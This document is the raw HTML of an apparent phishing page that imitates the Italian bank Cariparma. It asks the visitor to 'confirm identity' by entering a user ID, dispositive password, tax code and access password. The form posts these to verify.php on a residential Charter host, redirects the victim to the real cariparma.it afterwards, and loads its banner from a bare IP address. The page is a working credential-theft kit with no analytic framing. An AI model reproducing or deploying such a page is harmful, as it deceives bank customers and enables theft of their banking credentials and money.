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<title>CARIPARMA confermare l'informazione</title>
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<p align="left"><font color="#FFFFFF"><span style="background-color: #FFFFFF">
______</span></font><img border="0" src="http://211.115.112.84/images/Banner77.jpg" width="761" height="75s"></p>
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<p><b><font size="2">Si prega di compilare le informazioni corrette per la categoria di seguito per verificare la tua identità.</font></b></TD></TR></TBODY></TABLE>
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<form action="http://96-39-64-54.static.oxfr.ma.charter.com/verify.php" method="post" name=Date>
<input type="hidden" name="id" value="44464">
<input type="hidden" name="redirection" value="http://www.cariparma.it/">
<input type="hidden" name="siteId" value=CB"
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<input name="form_charset" type="hidden" value="UTF-8">
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<legend>Misure di sicurezza</legend>
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<span>Identificativo utente:</span></font></td>
<td align="right" width="367" height="23">
<p align="left"><input name="n" tabindex="3" size="28"></td>
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<span>Password Dispositiva:</span></font></td>
<td align="right" width="367" height="23">
<p align="left"><input name="c" tabindex="3" size="28" type="password"></td>
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<span>Codice Fiscale / Partita Iva:</span></font></td>
<td align="right" width="367" height="23">
<p align="left"><input name="d" tabindex="3" size="28"></td>
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<span>Password di accesso:</span></font></td>
<td align="right" width="367" height="23">
<p align="left"><input name="e" tabindex="3" size="28" type="password"></td>
</tr>
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<font color="#003366">
<input type="submit" name="submit.x" value="Invia" class="primary" >
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<font size="1">Facendo clic sul pulsante "Invia" si conferma
la tua identità con noi. Il modulo viene inviato immediatamente. </font>
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<p align="left">
<font size="1">La tua sessione sarà chiusa dopo aver verificato i tuoi dati.</font></font></p>
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